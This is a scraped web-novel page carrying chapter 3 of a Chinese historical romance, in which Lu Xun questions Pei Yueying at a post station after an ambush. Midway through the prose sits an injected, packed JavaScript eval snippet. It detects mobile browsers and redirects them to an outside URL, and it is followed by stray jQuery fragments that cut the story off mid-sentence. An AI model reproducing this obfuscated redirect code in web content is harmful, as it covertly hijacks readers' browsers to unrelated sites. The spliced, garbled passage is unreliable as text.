默认冷灰
24号文字
方正启体

3. 第 3 章

作者:令杳本书字数:K更新时间:
    箫断进来时,屋中水汽方散。


    下了数日的雨,方晴了不久,仍是半阴半晴的天色。外头沉沉的天光映入屋中,落在那半解的衣衫上。


    裸|露的背脊本为冷玉之色,偏偏落了些深深浅浅的疤痕,宛若白璧有瑕。


    桌上摆着几只不起眼的药瓶,陆珣看了眼来人的方向,拢起衣衫,道:“有消息了?”


    箫断神色凝重:“是。”


    数日前,龙骧府收到几条密报。事关紧要,陆珣带了十数名心腹离京南下,对外只称亲自押解重刑凶犯回京。


    一路疾驰南行,却在日前突遭刺杀。刺客来势汹汹,利用地形提前设下埋伏,一场鏖战,对方虽是落败而逃,却也重伤了他手下的几个心腹。


    所擒获的几人当场便服毒自尽,死得干干净净,看不出来路。于此同时,南方的消息也断了,不难猜到其中定是出了什么变故。


    箫断递来张密函:“还是迟了一步,那人已……只留下了这个。”


    消息既已走漏,此事便在陆珣意料之中,他敛眸颔首:“着人厚葬了他,重金抚恤其家眷。”


    陆珣接过密函细阅,屋中一时静默,片刻后,才道:“那些死士可有线索了?”


    箫断自惭摇头:“属下不力,请主子责罚。”


    陆珣:“罢了。即为死士,便不会叫你我轻易查出底细。”


    “会不会是京中……”箫断语气游疑,低声问。


    龙骧府是为天子剑,上听天命,肃清朝野,过的便是那刀头舐血的日子,素日得罪过的人不计其数。这些年来,不少京中老臣也对陆珣颇有怨言,不乏恨他入骨的。


    陆珣放下密函,指尖轻轻触击着桌面。


    那日他观刺客出手、围攻之势,与寻常取人性命的路数不大相符,更像是要重伤他等。


    ——阻拦他南下。


    十有八|九,与近来所查之事有关。是警告,还是拖延时间、销毁罪证?


    无论如何可以确定的是,风声走漏,他已失了先机。贸然再查恐是不易,不若将计就计。


    二人商议良久,待到天色完全黑沉,箫断才方醒转过来:“竟已此时了,属下这便叫人送膳来。”


    ……


    陆珣解了衣衫,侧身对着驿站中简陋的铜镜,倾倒药粉。


    这样的伤他受过许多,于他而言并不算重,只是此次位置偏斜,难以触及。箫断又非心细之人,想也注意不到此事。


    门外传来些许杂音。


    那双水汪汪的眼在脑中一闪而过,陆珣动作一停,下意识皱紧了眉。


    倒是能折腾。


    他自幼爱洁,更不喜旁人触碰。


    自小到大,还从未见过第二个敢将脏污往他身上蹭的。


    他耳力好,不消猜得便知外头又发生了何事。想到她今日所为,心中更生不喜。


    几乎在看见她的第一眼,他便知她心思不纯,矫揉失真到过于刻意。


    那双眼中的打量算计,哄哄箫断也就罢了,竟还妄想能骗过他?


    况且,他是因刺杀而在此地停留,她因刁奴而晚了行程,如此竟也碰上了面,好不巧合。


    身为龙骧府指挥使,他不得不细思些许。


    一门之隔,小娘子絮语轻柔,毫不吝啬夸赞之言。


    陆珣面无波澜。他信任箫断,此人与沈择跟随他多年,虽不及后者细致,却也是个周全之人,定不会轻易——


    门开了。


    陆珣:“……”


    箫断被他锋锐的视线一扫,这才回了神,张了张口便要请罪。


    陆珣阖眼:“退下吧。”


    箫断明白,这便是不追究的意思了。他自知有过,忙下去唤人送膳。


    屋中。


    陆珣敛起衣襟,看人笨拙地拄着拐杖,一步步挪到近前。


    “方才听箫郎君言语,阿兄这是还未用晚饭?”


    裴月溋离他并不算近,想是知晓并不受他欢迎,识趣地站远,轻声开口。


    陆珣:“你来做甚。”


    裴月溋似是听不出他语气中的冷淡与逐客之意,垂眸道:“此处驿舍的汤饭做得很好,不知阿兄尝过没有,我……”


    “若无事,便回房去。”


    陆珣转过目光,看着窗外黑沉的天色。


    裴月溋声音一顿,软了语气。


    “阿兄……”


    “裴娘子。”


    陆珣淡声开口:“你我原也只是关着亲,仔细算算,该唤一声表兄才是。”


    此处驿站偏远,屋舍简陋,屋中也只点了几支烛以作照明。从他的视角看去,恰能看见那双因着他的话,而又逐渐朦胧起来的圆眸。


    出乎意料地,她竟未落泪,往前虚虚挪了一步,瓮声道:“我只是想来谢过阿兄。”


    “我自幼走失,前尘尽忘,原以为再也寻不得亲人了,不想会有能回家的一日。可许是我运道不好,不知怎得惹了人生厌,一路走来,竟无半分回家的喜悦。”


    裴月溋看向他:“钱婆子强横,芮儿刁蛮,今日若非阿兄出手相助,我还不知要落得何种境地……是以见了阿兄,如见亲人。飘零孤苦十数年,终于得人相护,一时只想与阿兄亲近,这才……”


    陆珣忽然理解了箫断几分,好伶俐的一张嘴。


    他不耐听这等哄人的话,打断道:“依你之言,你这一路,定是受尽欺凌了?”


    这话实是带着些讽意。


    他不是箫断那个耿直的,会被她一时装模作样哄骗了去。


    作为龙骧府指挥使,识人断面也是寻常中事,依他看那几个仆妇的模样,言语上说些什么他信,可若是真敢动手打骂欺辱她,但凡留下什么痕迹,那便是授人以柄,蠢得可笑。


    裴月溋止了声响,唇瓣张了张,一时没说出话来。


    陆珣顿觉无趣,甚至有些意兴阑珊。原以为她还能说出什么狡辩之言,不想她也是只纸老虎,一戳就漏气。


    “你裴家之事,我无意插手。今日便罢,往后……”


    “阿兄!”


    裴月溋急急上前两步,险些丢了拐杖,她扶着桌颤声唤道:“阿兄料得不错,她们确实不曾对我动手。”


    见她险些歪倒,陆珣差点以为她又要故作摔倒之态了,可她竟稳住了身形。只是动作中难免活动了伤处,霎时疼痛难忍,显露于面颊。


    裴月溋抿了抿唇,又道:“就连今日芮儿推我,也是我……百般挑拨,故意惹她生怒。”


    陆珣终于正色看了她一眼。


    如果他没记错的话,裴月溋正是十五六岁的年纪,已经看不出他印象中的幼童模样了。这些年想是没怎么过好日子,身形纤细,身量却不算太矮,这便更叫人觉得她纤瘦非常。


    陆珣:“坐下说话。”


    裴月溋应了一声,勉力挪动身子,坐在他旁侧不远不近的位置。


    见陆珣并无厉色,她期期然抬眼,细声道:“阿兄这是,不怨我了?”


    陆珣饮了口茶,语气平静:“你哄骗与否,总归冤得不是我,我有何怨。倒是你,怎不继续装下去?怕我拆穿?”


    他自认没那个兴趣。


    桌上烛光摇摇晃晃地映着那张素白的脸,未施粉黛,好似出水芙蓉,柔婉娇嫩,只是太清瘦了些。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512848|203070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    饶是陆珣见惯了美人,也不得不承认,她这张脸,的确动人。


    只可惜,面对的是他。


    陆珣放下茶盏,眸色不变。


    裴月溋眼睫一颤,忽地抬手拉住他的衣袖:“阿兄今日助了我,我实在不想欺瞒阿兄。今夜来此,本也是想来与阿兄交代的。”


    她眼中水光闪闪,忍着没落下来:


    “我走失时太过年幼,虽不知尊卑贵贱,可从钱婆子的话中也能窥得一二,阿兄出身定是贵极。我在外这些年,见多了那些捧高踩低的人。她们是不曾打我骂我,可这几日下来,明嘲暗讽的话我也是听了不少。仆妇都敢如此,可知家中其实并无人还惦念我,想让我回去。”


    她声音哽咽,顿了顿道:


    “我多番打探,才知这些年只有长公主殿下还在探寻我的消息。这世上,若说还有愿意护着我的人,怕也只有殿下了……”


    这话倒没说错。


    陆珣垂眼,看着被她拉得生了褶皱的衣袖。


    “我实在是,实在是害怕,”裴月溋看向他:“只是想寻个倚仗,靠着阿兄的几分善心……哪怕是做做样子,不由人随意轻贱……也不成吗?”


    陆珣并未回答她的问题,转动着茶杯,话锋一转,突然道:


    “迟了三日。你又怎知,我还会在此处等你?”


    她如何能笃定他的行踪?


    长眸摄着那双圆眼,露出几分少显于人前的凌厉来,不错过她可能会出现的任何细微表情。


    “……我实是不知。”


    她瞧见他的表情,有些不知所措的怯,好半天才答:“不过是走投无路,只得赌一回了。我想,兴许阿兄愿意可怜我几分,多留几日呢?若不成,那便是我的命。”


    陆珣并未回应,仍是淡漠地审视她。


    那双怯生生的眼鼓起勇气回望他,强撑欢喜:


    “想来这便是天意,上天待我不薄,真叫我碰见了阿兄!我知晓阿兄都是看在长公主殿下的面子上,待我回京,定会好好拜谢殿下!”


    这模样,活像只鸟儿分明被吓得炸了毛,却还叽叽喳喳,为自己壮胆一般。


    陆珣终于收回视线。


    他忆起离京前,母亲庆德长公主拉着他的手,与他交代的话。


    庆德长公主与裴月溋的娘亲乃是手帕交,情谊深厚,只是她生母早逝,父亲很快另娶。许多年前,元夕那日与家人走散,自此了无痕迹。


    裴娘子丢了这些年,长公主便年年元夕都不得欢颜,一直不曾放弃找寻。不久前,京都府拿下了一批常年拐带孩童妇女的贼人,顺着寻摸到了线索。几经辗转,终于将这位走失多年的可怜娘子迎了回来。


    得知儿子正要南下,长公主耳提面命,定要他顺路接上裴月溋,仔细看顾着她。


    这其中,未必就没有恐其后母的人苛待她的隐忧在。


    陆珣抽回衣袖:“只此一次。”


    裴月溋睁大了眼睛,猛地站起:“多谢阿兄!阿兄你真是好人——啊!”


    动作太快,伤脚触地骤然剧痛,她直直朝前倒了下去。陆珣抬手拦她,她亦伸了手想要扶住些什么不至于摔下,两两相对,竟是彼此以额相触,发出了一声闷响。


    裴月溋“哎哟”一声,不知他脑袋是什么做的这般硬,撞得她头晕转向,又要朝后倒去。她慌乱无措中抓紧了男人的臂膀,谁知竟摸到了一片鲜红的潮湿。


    她吓得睁大眼,却因姿势而抓得更紧。


    “阿兄,你、你怎的流血了!”


    “——松、手。”


    不知怎的,她似乎从中听出了几分咬牙切齿。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)